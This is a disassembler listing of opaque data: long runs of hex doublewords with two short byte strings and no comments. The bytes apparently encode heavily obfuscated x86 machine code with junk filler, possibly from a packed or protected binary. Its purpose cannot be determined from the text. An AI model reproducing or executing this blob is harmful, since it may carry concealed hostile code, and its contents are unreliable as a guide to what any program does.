		dd 20336CE2h, 6677D280h, 539CC981h, 0F7C68166h,	66F08B07h
		dd 0F049CF81h, 8166DF8Bh, 805042F1h, 0DAB682C0h, 0BC57B966h
		dd 0F3816660h, 0BA617BB0h, 27DC7F35h, 66EEF580h, 7325D081h
		dd 840Fh, 5B560000h, 27880Fh, 0AE80000h, 0C4000000h, 47C6D3DDh
		dd 3F0F29BFh, 12E913h, 85910000h, 0FE7F950Ch, 53C9BC9Dh
		dd 0DD24337Dh, 38137D73h, 80F28B58h, 820F78E7h,	18h, 13E9h
		dd 0EA355C00h, 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h
		dd 0A8C18166h, 870F81h,	66000000h, 8185F381h, 0DE8BB1B3h
		dd 80F8CE8Ah, 0CF81A8F4h, 60F09A25h, 12E9h, 0C1F28400h
		dd 0FF02776Eh, 0ABD99F92h, 0E935D583h, 0F5A2C8Fh, 588h
		dd 0F78FBA00h, 8B660469h, 0CA8B52CEh, 95BE665Eh, 0CA8B66DEh
		dd 8BD98BF5h, 0EBC980DAh, 0FDE18166h, 0F78166CDh, 0D5B656CCh
		dd 5B53F8F9h, 8B66C28Bh, 0FE9D1h, 5AA00000h, 9D4E5BAFh
		dd 87FA5F8Ch, 41550EC8h, 0D2BF0FDEh, 58D0Fh, 81660000h
		dd 8BF731DEh, 58D780F9h, 0EE9h,	41C7EA00h, 0D20EEF58h
		dd 0D527205Fh, 0F406FC1h, 6660D0B7h, 6661D38Bh,	8B0FCF8Bh
		dd 3, 815BEF80h, 5937A7E6h, 0E956FC13h,	6, 189F4B78h, 605F0B52h
		dd 0C8FCE1B9h, 0FA8B665Ch, 0FF08B61h, 1681h, 11E900h, 97D30000h
		dd 0F9D8F285h, 2DD9C992h, 839FFCD2h, 8A6D2B29h,	1A8E0FE6h
		dd 0E8000000h, 11h, 917DB994h, 33BBDFB5h, 6B6FB2AAh, 0CA567320h
		dd 0DFB70F2Ah, 6880F58h, 81000000h, 1B9DFC0h, 17E2803Fh
		dd 66D98B66h, 0B70FF18Bh, 12E8CBh, 74B90000h, 0D0BAA6D0h
		dd 82B4ABCCh, 0AAADBDCh, 74F52C00h, 0C28B6658h,	0FC6B70Fh
		dd 87h,	0C68B6000h, 11E961h, 93F10000h,	19EB38C2h, 765565E4h
		dd 3097D800h, 0E8CA9AE5h, 0Eh, 0A6C45860h, 919CD966h, 6FBB3B26h
		dd 870FCC9Ah, 5, 58DB8166h, 0DE95BC3h, 8B000000h, 4EC53037h
		dd 2BD3D0A7h, 0F66B47Fh, 0BB76F5B9h, 13E955h, 0EE240000h
		dd 0AA22FFD2h, 6215780Bh, 0BCBC9ABFh, 71713CFEh, 0D0BE666Ch
		dd 0FE867h, 77A30000h, 856DBB21h, 0DAD1E1D0h, 34C1F835h
		dd 30BB6681h, 1EB05A8Ch, 0E9D0B70Fh, 13h, 0ACB5CCDAh
		dd 2FE754ABh, 9C552BB1h, 78059C8Dh, 0B793BB7Fh,	0CF8B6633h
		dd 19B96657h, 81665F18h, 0B5EA60C8h, 0FC18BD6h,	8B66C8B7h
		dd 12E9F3h, 0BA8B0000h,	0E5E0B3C3h, 27A1C94Ah, 9795741Ch
		dd 45070B67h, 0ACF8166h, 0D18B6684h, 8C0Fh, 0BE660000h
		dd 860F6C15h, 1, 10E8FCh, 7D590000h, 334212F1h,	0EAEE2C03h
		dd 0E5042086h, 0BF0F1E66h, 7E958C7h, 0
		dd 8819F784h, 81662649h, 50C747F6h, 6860Fh, 810F0000h
		dd 0
a_lS		db '_‹Þé',0Bh,0
		align 4
		dd 0DAB4037Bh, 0B371AE3Ah, 8B2114CEh, 0BE6660CBh, 0E960F53Eh
		dd 0Dh,	0E45FB6C5h, 9624793h, 8029B6C7h, 78CF8124h, 61501D88h
		dd 60F38B61h, 5EC88166h, 0B26061EDh, 3850FF3h, 66000000h
		dd 0F861C68Bh, 0BE9h, 0F0831800h, 0EED8B1AAh, 0EAE3A87Eh
		dd 10800Fh, 0BE90000h, 94000000h, 0C7B96E2Bh, 23D3E866h
		dd 0B966A0D8h, 0DA8B4F5Ah, 9E8h, 7BAC2500h, 748FA1A1h
		dd 0BF0F6A5Eh, 0BE85BDEh, 0A4000000h, 5BD874A1h, 9F1C80F1h
		dd 10E993E3h, 86000000h, 18D86B27h, 5798E8F5h, 5E7ACDCBh
		dd 583D9990h, 0BFC68166h, 13E9C6h, 0C5840000h, 91715C6Ah
		dd 0F5395FA1h, 0CA082D5Fh, 0F31D56ACh, 7E873h, 0EC540000h
		dd 0BCF7B1A3h, 0DEEE816Bh, 584FCDAEh, 0DE8h, 0EA43E200h
		dd 12FB799h, 0CD02EDCFh, 0E851E3CBh, 7,	0E9C2EA82h, 5F1E2E1Eh
		dd 0D9BB5E5Eh, 6022B3D7h, 0F9BF0FF5h, 80E88A61h, 0BE99EF0h
		dd 0BD000000h, 43D987C1h, 47A0DDABh, 5EBAA9E9h,	8B004DACh
		dd 0B70F60D3h, 7172B9FAh, 8B617AD9h, 0B9F960C2h, 4EDAAAE3h
		dd 78A0F61h, 0F000000h,	182h, 9E9FC00h,	82000000h, 7FE295Ch
		dd 7549A9DEh, 5E8h, 8DAF1C00h, 8E0F1D7Dh, 4, 8BFFBF66h
		dd 0D2BA665Bh, 570FB422h, 0B85BD38Bh, 374B2211h, 24BFCA8Ah
		dd 0F542D9Eh, 1989h, 14E900h, 0D8CE0000h, 1278F2E5h, 7A608BC3h
		dd 87849073h, 623F18E2h, 0E480CC91h, 20CC801Fh,	12E856h
		dd 0A0990000h, 7A4D62E3h, 4068A6DEh, 8AE70942h,	47214B6Ah
		dd 585B6160h, 0DA07CF81h, 8B0F0150h, 6,	0E777D881h, 8A0F0045h
		dd 0Ch,	6800Fh,	800F0000h, 0
aLKxaSs		db '»]‹&~Šå€Ñéé',0Bh,0
		db 2 dup(0), 3Dh
		dd 0B6121DEFh, 0B4F2E98Eh, 8E9120Bh, 47000000h,	0F540B1A2h
		dd 0E86D1D20h, 0Fh, 45048049h, 2E402438h, 0AAA51868h, 0FE9ED14h
		dd 487h, 5CB96600h, 66565859h, 0B95BD88Bh, 630E5E3Bh, 97C38056h
		dd 0F53605Bh, 86h, 66615B00h, 0E958ACBFh, 0Ah, 0D0945573h
		dd 316F3806h, 880FD33Ah, 2, 840FF08Ah, 5, 5E60EABFh, 0EE85735h
		dd 75000000h, 114EE8Eh,	62C0A646h, 78D424BCh, 800F14h
		dd 58000000h, 118E0F5Ah, 0E8000000h, 0Bh, 65BA1DC7h, 83B334EBh
		dd 5A64AF9Dh, 810Fh, 0E9600000h, 7, 9CDD2FA3h, 0F069375h
		dd 6061D7B7h, 9ADB8166h, 8166615Ah, 0BA0185D0h,	569E4A24h
		dd 17820FF9h, 0E8000000h, 0Fh, 32B532D6h, 4BFA1BD2h, 9AFB91h
		dd 8A921F1Ch, 0F3815BDDh, 4004AA38h, 14E8FC8Ah,	54000000h
		dd 8BFA5B4Bh, 0BECAE279h, 0E6AC7ACBh, 5B0330E5h, 50D22F72h
		dd 810Fh, 5B590000h, 0F8C78B60h, 8B665361h, 0BF665AF1h
		dd 816698B2h, 0E91E29DEh, 11h, 0DA7B2FD1h, 0D7D37CA7h
		dd 0D2CA6EAAh, 0B0877283h, 8F0FF9A7h, 2, 860FA1B2h, 2
		dd 0F08BF18Ah, 12E9h, 763E3C00h, 0FA21D4DBh, 0E5F1A6E9h
		dd 6F0CF781h, 66E32525h, 0D68BF98Bh, 38D0FF9h, 66000000h
		dd 0F50DE8Bh, 38Ch, 54D58000h, 3870F5Bh, 0F000000h, 0C38BFFBFh
		dd 92C78166h, 0E96EB6B9h, 8, 127E98C9h,	92F0F99h, 4A6DB966h
		dd 5AF88B53h, 0FC9B70Fh, 187h, 0CE9FC00h, 28000000h, 5737D8A0h
		dd 54394C70h, 8A3C51ADh, 4329BBF0h, 0E6817058h,	3CCAFF60h
		dd 0E9CEBABBh, 0D78A5001h, 80E28A5Bh, 8166ABE3h, 66C04EC3h
		dd 860FD08Bh, 1Ah, 14820Fh, 0FE90000h, 3D000000h, 0B06FB12Bh
		dd 0BAB73E5Fh, 0C121FD57h, 850F3A03h, 0
		dd 840Fh, 0E1800000h, 8C69B907h, 11E97E4Eh, 9000000h, 771C18B9h
		dd 930E5EF0h, 0A73C94D1h, 39951EBEh, 0BE9h, 2238E300h
		dd 61E1405Dh, 92111266h, 2870Fh, 5E520000h, 55CE8166h
		dd 0F1E8B8F6h, 890F7074h, 6, 0FB0CF281h, 870F3243h, 4
		dd 59EA8A51h, 52F89CB7h, 0FFCF55Bh, 68Eh, 0AEF38100h, 0F5698BBh
		dd 1689h, 0EE800h, 6A660000h, 0E7A0BD7Fh, 697D81ABh, 650D3E75h
		dd 665B6160h, 12E9D08Bh, 0C0000000h, 84CEA393h,	0D6450235h
		dd 0FB300D4Bh, 8D25072Bh, 18E0F8Bh, 0F8000000h,	80D08B66h
		dd 8B667BF1h, 0D7B70FD0h, 5E8F9h, 475C0000h, 0FC7D87E5h
		dd 5810F58h, 0B9000000h, 35CA97B0h, 0BC4EEE81h,	0B70F2B48h
		dd 0D38166C8h, 0F5088F6h, 688h,	8DE28100h, 5B3D9140h, 3840Fh
		dd 0B70F0000h, 0E9FA8BD8h, 5, 0EC1FD6B1h, 6EDE81BCh, 0F964190Dh
		dd 5AD38B57h, 830F84B3h, 8, 0E0D98160h,	613D666Eh, 3AB5C88Bh
		dd 0C6C18166h, 0C9B96692h, 0C4F781AAh, 8B6979FAh, 0D9B966D6h
		dd 6E9EEh, 0C2410000h, 99A73D8Eh, 0E9C38B66h, 13h, 0E8BB2611h
		dd 517A4EEEh, 5A68553h,	0D6691C6Ah, 0F881487h, 98Ah, 0F08B6000h
		dd 770738B9h, 0D1816176h, 4F041B92h, 0BC1EBB66h, 28A0Fh
		dd 0C78B0000h, 5FC88A50h, 7E9h,	56C23900h, 0B895075Bh
		dd 6A89B1BFh, 0E94DBF31h, 0DB8106D4h, 61E33410h, 0F38B6660h
		dd 5AE18A56h, 8AF96061h, 0E96061D0h, 6,	0D8DCF92Ah, 66609133h
		dd 0BB5F44B9h, 6CE2A77Bh, 3DB26161h, 12E8h, 757F400h, 933C80D1h
		dd 17526C7Fh, 9DC7B63Dh, 0FDAAA8Bh, 0E95AD8BFh,	13h, 0C7B338BAh
		dd 60A8B530h, 0EA63B6B1h, 8E22FBB9h, 5721545Dh,	0E9C98166h
		dd 0EA815F1Bh, 69C64C12h, 0DB4CB866h, 1EEFBE66h, 2974C881h
		dd 0FC606145h, 6661D88Bh, 850FF28Bh, 3,	0B2CAF780h, 0E9CA8BA6h
		dd 10h,	0AD790CA9h, 72D4D6A4h, 341821C2h, 4CB6E04Eh, 5683B866h
		dd 28C0Fh, 0C28B0000h, 421BF0B9h, 8B666034h, 0B8A0FD8h
		dd 0E8000000h, 5, 96ABA673h, 66615F39h,	1896D681h, 847B960h
		dd 0D88B6C90h, 123DB961h, 0F6B8257Eh, 0B03C9E49h, 8166F956h
		dd 0F8FB2DCEh, 0E9F4CF80h, 0Bh,	4E102624h, 8D669244h, 509A4ECEh
		dd 5BB3C780h, 66F0B70Fh, 81CD16B9h, 14045AD3h, 0D18B6638h
		dd 68BCBF66h, 0AE9h, 729BAC00h,	9749AB6Fh, 0E8B251ABh
		dd 13h,	0DFAAFE82h, 3A510386h, 4F6526F3h, 973238D3h, 6606DF2Ah
		dd 582EB8BBh, 12830Fh, 66600000h, 0E8319BBAh, 6, 6DEA4F06h
		dd 615E84BEh, 66F98B66h, 385C081h, 66CF8B66h, 37BBD98Bh
		dd 0F97E9BF3h, 850310BEh, 0D2BB6645h, 0DF8166EAh, 8B66D4ADh
		dd 0D98166C2h, 0C18BFD9Eh, 13E9h, 14CC0B00h, 19E20E3Fh
		dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 10E960h, 0B5A00000h
		dd 3B526818h, 39E037h, 729BAC45h, 810FAB6Fh, 5,	89AA53B8h
		dd 20B66175h, 880FF8F8h, 15h, 10E9h, 238AE600h,	35B99C41h
		dd 0E5A2B325h, 3AEE7C74h, 5800F1Ah, 66000000h, 0E410C181h
		dd 0B866D78Ah, 0BF0FEC39h, 0CE8A60DBh, 12E9h, 9CEA1C00h
		dd 5FF3A918h, 0FBBCE79Bh, 9D788C7h, 6120C422h, 13E8h, 0C71C4800h
		dd 0F01F0A13h, 48ED0D36h, 0F0FE2825h, 0BFAF7E5Fh, 0FE8535Ah
		dd 37000000h, 0E22074C9h, 2F6DD56Bh, 40BC1E47h,	61604956h
		dd 0DB815E5Bh, 6E505F11h, 0A00BD3BAh, 0F58522Bh, 28Ah
		dd 0E9F08A00h, 5, 276A3E48h, 0C461BE1Fh, 8D0F38B9h, 5
		dd 0D1F28166h, 816660D9h, 66DE83C1h, 0F420CA81h, 0DE861h
		dd 656C0000h, 0B3E298ADh, 7A261E71h, 0E9A90CF9h, 10h, 0D4A4FB0Bh
		dd 0C03F46F8h, 92B06C45h, 0B7D7363Ah, 12E85Eh, 0F1490000h
		dd 0E8038F06h, 65837B66h, 0DC909B1Ah, 0EAB2E741h, 666058F5h
		dd 0E9629CBFh, 0Ah, 0CA5FDCE6h,	0E7CE8469h, 6661F7F9h
		dd 0F60C38Bh, 1980h, 13E800h, 16100000h, 8B2923B2h, 0FD58CFC6h
		dd 0A389944Ch, 2E54243Ch, 0BF665B34h, 6661F705h, 8B66DE8Bh
		dd 0C830FDAh, 0E9000000h, 7, 3E159C7Dh,	8AEB63ADh, 0CE8056F3h
		dd 0DA8B58D5h, 0CBD8BE66h, 6E9h, 0DF749E00h, 8B7011E0h
		dd 11E9DAh, 44F40000h, 2BC52750h, 138F9699h, 8634D032h
		dd 0FEE44DAh, 389h, 0D0BF0F00h,	830Fh, 820F0000h, 1, 0FE9F8h
		dd 0CBB0000h, 39230273h, 0BF796F1h, 598EE6F7h, 0BE93Ah
		dd 0DA770000h, 0C8F4509Bh, 4DA818F5h, 820FFCB8h, 2, 8150B2B1h
		dd 656AFCDBh, 0B5BA5F5Ah, 53709819h, 0CCC9F181h, 605B1E53h
		dd 66F4D280h, 6123CCBEh, 7E950h, 835B0000h, 0FDDD1685h
		dd 0B6605E7Fh, 0C28B66ADh, 5E861h, 7F980000h, 0BAE8C79Bh
		dd 58B86848h, 7E95Bh, 83420000h, 63DFAD62h, 66F08A1Dh
		dd 8B4D95BBh, 0DE8166F0h, 0E8F58FEBh, 13h, 0E799BA59h
		dd 0FEE2251Ah, 0C9091C0Ah, 201B8E6h, 66122D19h,	4B1FDF81h
		dd 0AE9F55Ah, 0C1000000h, 977B4A7Fh, 9874E1FDh,	0BE843h
		dd 26240000h, 92444E10h, 4ECE8D66h, 0BF66569Ah,	5A5B8668h
		dd 840F5E56h, 5, 0EDEB8166h, 3820FF4h, 66000000h, 870FC38Bh
		dd 6, 5D74F081h, 13E900E2h, 0B1000000h,	184FA404h, 2EA333E2h
		dd 0A62C7B09h, 4369039Eh, 0F60E63Bh, 280h, 8A585700h, 0AE961D4h
		dd 0AC000000h, 0EBC85ADBh, 3050D749h, 0FE7B744h, 580h
		dd 0C8816600h, 11E9D439h, 0D0000000h, 0EFD13CDEh, 0FFF5D981h
		dd 57D6B92Fh, 3B1CFC89h, 2820Fh, 0D88B0000h, 43B5F08Bh
		dd 81F98B66h, 191D80C0h, 5E962h, 4BBD0000h, 603A4DA2h
		dd 0FABF0F57h, 76ED805Bh, 0BE861h, 61D10000h, 0DDA053B6h
		dd 0C150CE17h, 12E9DCh,	915D0000h, 4C3F6295h, 9D03F25Eh
		dd 8DF5B72Fh, 77CE945Bh, 0EFB86658h, 48BF66ACh,	50E780E2h
		dd 75B86660h, 0D68B6646h, 0F8BA6061h, 8B7C6312h, 0BF0F61DFh
		dd 0F1BF0FFAh, 5E9h, 0B7BF7500h, 8B0FD285h, 0
		dd 0D2E88166h, 58A0F19h, 66000000h, 1043E681h, 889814BFh
		dd 0DA816618h, 0CA8BBA9Ah, 12E8h, 0C515D00h, 782F5881h
		dd 9F184229h, 75C11BCFh, 0F90DC726h, 56D98B5Bh,	805BB660h
		dd 59617ACFh, 6E9F78Bh,	43000000h, 0D6BD6D83h, 392DBA73h
		dd 0C181579Ah, 684E2629h, 9E9h,	0A6DBD800h, 0A2663103h
		dd 0BF66C19Ah, 8D0F8CF6h, 1Ch, 13E8h, 0ABEDAE00h, 65CED2D7h
		dd 0DD4A71A7h, 39F0C809h, 19171E70h, 5AFB8B66h,	2EAACB81h
		dd 0BF663A27h, 8A5114AAh, 0D98058CBh, 0D9BF0F31h, 0CD805360h
		dd 66615E6Bh, 0E9C355BBh, 13h, 0B5B91CDAh, 13FA1377h, 65CBCFCFh
		dd 54D9AE12h, 0B1C5C48Dh, 81B350EAh, 68A0F59h, 81000000h
		dd 708C11C6h, 0EE93Fh, 0F60D0000h, 0AB7C5FBEh, 88E40604h
		dd 7D0A39AAh, 9253B866h, 0EE8h,	0AFBE4600h, 9E73687Fh
		dd 1BF1A4C6h, 818144D3h, 84C4AAC7h, 8B66585Fh, 0FE9D9h
		dd 0A7360000h, 1C202EC8h, 4A44463Fh, 9F068132h,	0C281662Dh
		dd 0E98023EEh, 10E918h,	7B690000h, 0EDE2DA4Ch, 0A2A05237h
		dd 0B2E4A0C4h, 0EF8140D9h, 582DAF50h, 5E9h, 0AC0D8F00h
		dd 800FF1A3h, 3, 0E8F18B66h, 0Ch, 4EB5558h, 864532C6h
		dd 9BB535C9h, 13E9h, 18B7DC00h,	16F3AAFAh, 891E8A63h, 0C46ADDC5h
		dd 43726728h, 5AB96659h, 0BE9B3h, 4FB40000h, 3A9C828h
		dd 8DDC7CE2h, 861BB85Ch, 14E90B4Fh, 1B000000h, 0EB83C1A1h
		dd 77B123BAh, 0CCEFA66Fh, 3C3737B8h, 0B95CAC78h, 14AD47B2h
		dd 0AE9F8h, 49400000h, 0E745DDEEh, 0BE58FA36h, 66D4EC80h
		dd 800FCA8Bh, 2, 8E96CB4h, 55000000h, 5428CBD4h, 0F2FA3C2h
		dd 1783h, 0BE800h, 8E640000h, 5F335E2Fh, 0E1E94FDBh, 7DCE8128h
		dd 5E7B2D4Ah, 0B960F380h, 5A7AA3FEh, 6E18166h, 0D3A2B86Eh
		dd 810F647Fh, 0Ch, 6810Fh, 8D0F0000h, 0
		dd 0BCD28166h, 8B66569Bh, 0D98058D7h, 8166F555h, 8170D0DBh
		dd 7440F5DFh, 0EBA663Ah, 0D9BF0F3Ah, 1870Fh, 66F90000h
		dd 0FE4E0BAh, 0F60DBBFh, 8Ch, 0E5B96100h, 0E934A06Ch, 9
		dd 80D20927h, 0F3467477h, 3CBA66F2h, 0DAEB8082h, 0AE9h
		dd 0A1401D00h, 7C6F0DF8h, 0F068ADBh, 5CB9CFB7h,	6662E5CBh
		dd 8B97ACB9h, 0C5BF66D8h, 0F18B66B3h, 0AE9h, 0EDBBA100h
		dd 5B3C8876h, 664BFE85h, 4EDDE181h, 0D0B70FF5h,	3850Fh
		dd 8B660000h, 0CBBA53FAh, 5F68E81Fh, 0E9D1B70Fh, 7, 5FADE21Ah
		dd 0F3BC095h, 1381h, 0EE900h, 0D2500000h, 0DB20C3E1h, 0D796112Eh
		dd 16DB6817h, 108E0Fh, 7E80000h, 24000000h, 0E0366DD2h
		dd 0BF0F3D0Eh, 91BE5FCAh, 0F5146F6h, 850FDEBFh,	19h, 14E9h
		dd 8706B900h, 0E52AC544h, 0BF83750Ch, 94E19DB5h, 0E3477A0Ch
		dd 3810F7Bh, 66000000h,	8166F98Bh, 667CD0E8h, 0FD9B0B9h
		dd 48Fh, 5EB96600h, 0C0816663h,	6E9365Eh, 0AF000000h, 4DE17498h
		dd 14F38177h, 603074EFh, 0AE8h,	0FDD4800h, 7402AAA3h, 804DA063h
		dd 615BC9EEh, 17840F56h, 0E8000000h, 11h, 69F6BECFh, 2233D378h
		dd 7E137B56h, 0B10B69FBh, 0BB5B5F4Fh, 7E62E066h, 1E8E0Fh
		dd 820F0000h, 18h, 13E9h, 0BC39A400h, 361FA045h, 21C78AA2h
		dd 6E9D10EBh, 0F00233Bh, 12E9h,	0C0955F00h, 146ACD3Bh
		dd 53E3DF2Dh, 578145BFh, 0F542B0Ah, 0CE9DEBFh, 0AE000000h
		dd 7185B434h, 0F368FF58h, 0F86030ECh, 7C38160h,	664F58E2h
		dd 61FCDCBAh, 5F576050h, 8E9h, 0BAE51000h, 43E30F1Dh, 0E95861F5h
		dd 5, 251F2509h, 9ACA8155h, 0E95497B6h,	9, 6DAFFC82h, 569CA831h
		dd 7810F4Dh, 0F000000h,	189h, 0D281F800h, 6A5F9F54h, 4890Fh
		dd 0BF660000h, 0D3815D7Bh, 2F1DF80h, 0BDAFC381h, 0F3810253h
		dd 22CFC25Fh, 0B70F60F8h, 5840FC6h, 0BF000000h,	6B4CFCCCh
		dd 8B666061h, 8061F8CFh, 81662AEFh, 0FC9133C8h,	0AE9h
		dd 1CA20800h, 0FED4B221h, 0E84CAB04h, 6, 7735C364h, 0BE5A0893h
		dd 63A4DF58h, 0F4B4EDB8h, 0D18B6669h, 148F0Fh, 820F0000h
		dd 0Eh,	9E9h, 7F148C00h, 0EF949A27h, 8A60CB4Ah,	0DE961E6h
		dd 0FA000000h, 0F5960F8Ah, 5DDF4726h, 970D107Bh, 8E8E18Ah
		dd 0C2000000h, 6549B908h, 0F3811F8h, 0C84h, 7E900h, 30870000h
		dd 9690F5h, 0DA8B5A38h,	0A3EE8166h, 9AEC8011h, 0CF38166h
		dd 0DA8B6675h, 840FCF8Bh, 15h, 10E9h, 0A4941900h, 0F098FB9Fh
		dd 0FC8D7CE9h, 30881A20h, 16820F2Ch, 0E9000000h, 11h, 9F078C0h
		dd 0D1066B45h, 4C20BEF1h, 0BED4F249h, 0DE8B66ADh, 0AF15D981h
		dd 8A607350h, 8CFB8EFh,	0BE614C19h, 12A72140h, 6E9h, 16A4ED00h
		dd 60EDB39Eh, 7E8h, 4F66300h, 48BC66E3h, 0E8585A57h, 6
		dd 2AB0F418h, 615E2722h, 10E9h,	4AFE2200h, 68EAB034h, 51419E34h
		dd 8F2EB188h, 88D0F9Bh,	0F000000h, 285h, 0BE5F5700h, 65C0B3C0h
		dd 0F8C78B66h, 0B6D68166h, 0BE947h, 0FA630000h,	308B73C3h
		dd 2D774FC9h, 74F3B8F0h, 816654E4h, 0E902ECC9h,	5, 0AE793F75h
		dd 7E76BBB6h, 8C0F0BB4h, 3, 0FFE8B66h, 381h, 0D5EB8000h
		dd 81F98B66h, 198106DEh, 0BE962h, 0F470000h, 0FF502C0Dh
		dd 0D1D69BD0h, 0C28B6661h, 9F2FD7BAh, 1F8C0F1Bh, 0E8000000h
		dd 0Fh,	4CB7F086h, 0EA74CD6h, 6BADF61Ah, 0E958F96Eh, 5
		dd 786F8938h, 0C7BE5BE9h, 516366C2h, 60605BF5h,	49CB8166h
		dd 61FA8A7Eh, 0BE9h, 0F13E1100h, 33E936Dh, 0A73228C9h
		dd 0FE961h, 3B740000h, 59062301h, 7B240102h, 0F66CA3F9h
		dd 0F629BE9Fh, 66F87B4Ch, 8B4D20B9h, 0BE9D7h, 94480000h
		dd 96231185h, 86F476A1h, 0B889B89Ah, 81662E24h,	0E94846DBh
		dd 0Eh,	9C2668DCh, 21C61574h, 25DA2134h, 0F60D7A2h, 1781h
		dd 12E900h, 29E40000h, 7D74C436h, 0FB1A453Eh, 174FE9F5h
		dd 0BE5CE910h, 61D78B66h, 36AB866h, 0DBD98166h,	11DF8180h
		dd 66207167h, 0BEFDC881h, 0F98B5951h, 840Fh, 0FE80000h
		dd 72000000h, 0F9856C68h, 68C71B45h, 0A0239B6Bh, 8C0FA70Dh
		dd 4, 0B992B866h, 8B66505Fh, 0EE858CFh,	72000000h, 465D2035h
		dd 45EB740Ah, 0FED19DE5h, 0BE9FFh, 26FE0000h, 8F78355Ah
		dd 0C4045145h, 0FC605A92h, 9E8h, 0DD234600h, 19F9E168h
		dd 0F28BB86Ah, 830F6158h, 8, 28C0Fh, 5B510000h,	11E9h
		dd 5C15AA00h, 32D4162Ah, 0C9604BBh, 0FE9AB1FCh,	8B663472h
		dd 1820FFEh, 0F9000000h, 36CBB966h, 0CE9h, 0A8228500h
		dd 0C80DF317h, 8D200594h, 0E2EB81D8h, 0B846B71Fh, 711D5944h
		dd 0D1E68166h, 0AE93Bh,	5340000h, 0DDE8E080h, 0CAEE4C6Fh
		dd 0FA2EC80h, 84h, 0F78B6600h, 13E8h, 4A538000h, 0DE6A8FF7h
		dd 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h, 0B70F5BF9h, 0F98B66D7h
		dd 3408BF66h, 5B3B37BFh, 0F8B70F0Fh, 0F533F480h, 6B38D5B8h
		dd 7830F5Ch, 60000000h,	8B665E51h, 816661FEh, 66A0C8E9h
		dd 0D6D9F281h, 950801BEh, 0DE8AF557h, 4C94BA66h, 0F8C0Fh
		dd 0AE90000h, 67000000h, 0CECA1209h, 62F268Dh, 8CB966ADh
		dd 3EC68143h, 661DFFA3h, 6603E4BEh, 0BF2DE881h,	4858F281h
		dd 84BE3C3Ch, 0E86A16DDh, 0Fh, 2C75A799h, 8E5C5918h, 30DA8AB7h
		dd 0E9C4B06Eh, 6, 0FFA96C6Ch, 66598773h, 0A75DC381h, 433CB5B8h
		dd 11E90Ch, 3FF60000h, 0AC0D8FB0h, 7F58F1A3h, 54737E5Bh
		dd 500B5D6Fh, 8805F081h, 0FC5F3EE8h, 9DA9E2BEh,	0BE85357h
		dd 71000000h, 94D96E8Bh, 6B7176E4h, 0B70F26B2h,	0F9585AFBh
		dd 5ADFE881h, 11E90A6Eh, 0F7000000h, 0F133A71h,	0D1555E79h
		dd 0B79A30E6h, 74153276h, 0BCB8160h, 0F84A3EE7h, 1850F61h
		dd 0FC000000h, 9E9h, 4BA77F00h,	964B61ACh, 0F52CB99h, 0E95ECFB7h
		dd 12h,	1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 860F043Ah
		dd 5, 0B2C88166h, 0EE9D4h, 3070000h, 2AB32DA0h,	0F322BE63h
		dd 9101192Eh, 0DE9h, 9A217400h,	3F16970Eh, 0F8748110h
		dd 8B0FB9E6h, 7, 18C0Fh, 8BF80000h, 7779BBCAh, 0B7516451h
		dd 0F9565EABh, 0F7B70F5Eh, 0F8F5D08Bh, 0D08B66F8h, 0FE9h
		dd 0D5B0C500h, 0CE56CF24h, 9F797EA1h, 0B2A57066h, 0BE9h
		dd 0F6DCEF00h, 2597738Fh, 605B395Dh, 7FD084BFh,	5E847h
		dd 0AA3F0000h, 5E7EE086h, 8A0F5F51h, 1,	7E9F8h,	333D0000h
		dd 9F623564h, 0D3BF0FE9h, 0F76B7F8h, 184h, 0FB8BF900h
		dd 4FBB66F8h, 0D68B6621h, 0B5DBB70Fh, 3850FD1h,	0F000000h
		dd 0BFDBBFh, 66267AD0h,	0FC2C781h, 58BE6652h, 810F5E05h
		dd 1, 0F4AABAF9h, 8166600Ch, 66DE8BC9h,	517BFEBEh, 0F55FFE8Ah
		dd 10E9h, 8B181E00h, 30907F67h,	0D66B7504h, 5F011FE1h
		dd 0D8805259h, 0E8605B92h, 0Fh,	0DA45FE77h, 3D0D86C1h
		dd 691579E4h, 8B738D9Dh, 870F5BC2h, 16h, 11E9h,	6F87E700h
		dd 29001B6h, 0BF81DD52h, 0DC005AA3h, 60615D51h,	6060C6B4h
		dd 860F61h, 61000000h, 0CB816661h, 0F51D1E2h, 382h, 0DABF0F00h
		dd 1BB5159h, 587D20E3h,	1CA7BE66h, 11E9h, 6F119900h, 0B6329110h
		dd 513C5E6Eh, 0FAFE52BDh, 0FAB35D50h, 7E9h, 0C839D800h
		dd 4F137A00h, 0D68122B3h, 17A17DD1h, 0C18B66B3h, 0FC78BF5h
		dd 789h, 0A7BE5100h, 591A93B8h,	12E852h, 7CAA0000h, 0CFB24AC4h
		dd 9663C294h, 8E795FE1h, 91EBF02Ah, 6E8h, 9B0BAB00h, 580D4583h
		dd 880F5A5Eh, 3, 81C78B66h, 5A5762C0h, 14E90Ah,	0B3680000h
		dd 0AA03B177h, 4EF5CE62h, 0EB620917h, 3A56A39Bh, 890FDFB2h
		dd 2, 0EE9C38Bh, 0E2000000h, 67172CFAh,	57D1D48Bh, 1B5FBDAh
		dd 0F88B6615h, 0BF34F180h, 196C927Eh, 95BBB1BAh, 68B0F45h
		dd 0F000000h, 89h, 0AB6FBA00h, 8E85976h, 3B000000h, 6EB95786h
		dd 60326C5Fh, 0CE8h, 503BC500h,	0BE598A54h, 0E6E775D8h
		dd 61605AFEh, 8B665B61h, 0C78B66D1h, 6620C980h,	806537BFh
		dd 0E980A5DDh, 11E81Ah,	0FC1A0000h, 6FE2FC07h, 0DDB5FFDBh
		dd 0B8B469DAh, 53AC9ACFh, 0CB6FBB66h, 840F5859h, 2, 8D0FC18Bh
		dd 6, 24F1EB81h, 0C68143D2h, 7BC9F8C4h,	0B3C88166h, 0C3BF0F80h
		dd 0A932E281h, 800F7D16h, 0Eh, 9E9h, 8A086D00h,	225FAB5h
		dd 8E0F3ED5h, 11h, 0CE9h, 2AC54400h, 83750CE5h,	0E19DB5BFh
		dd 0EEE8094h, 0E90FB060h, 13h, 15CF39A9h, 81DA85EFh, 6D89F61Eh
		dd 38F79D9Bh, 61D62EC6h, 8800Fh, 8F0F0000h, 2, 880F38B1h
		dd 2Ch,	13E8h, 0C2686800h, 19C368EFh, 6F3602CCh, 0E4F7692Fh
		dd 0A0DE6CABh, 0EE9h, 4B991600h, 56B3996Eh, 0B29CE40Ah
		dd 5B787401h, 8166D7B1h, 81CFEEEBh, 19AA5EEAh, 0CAB70F0Ah
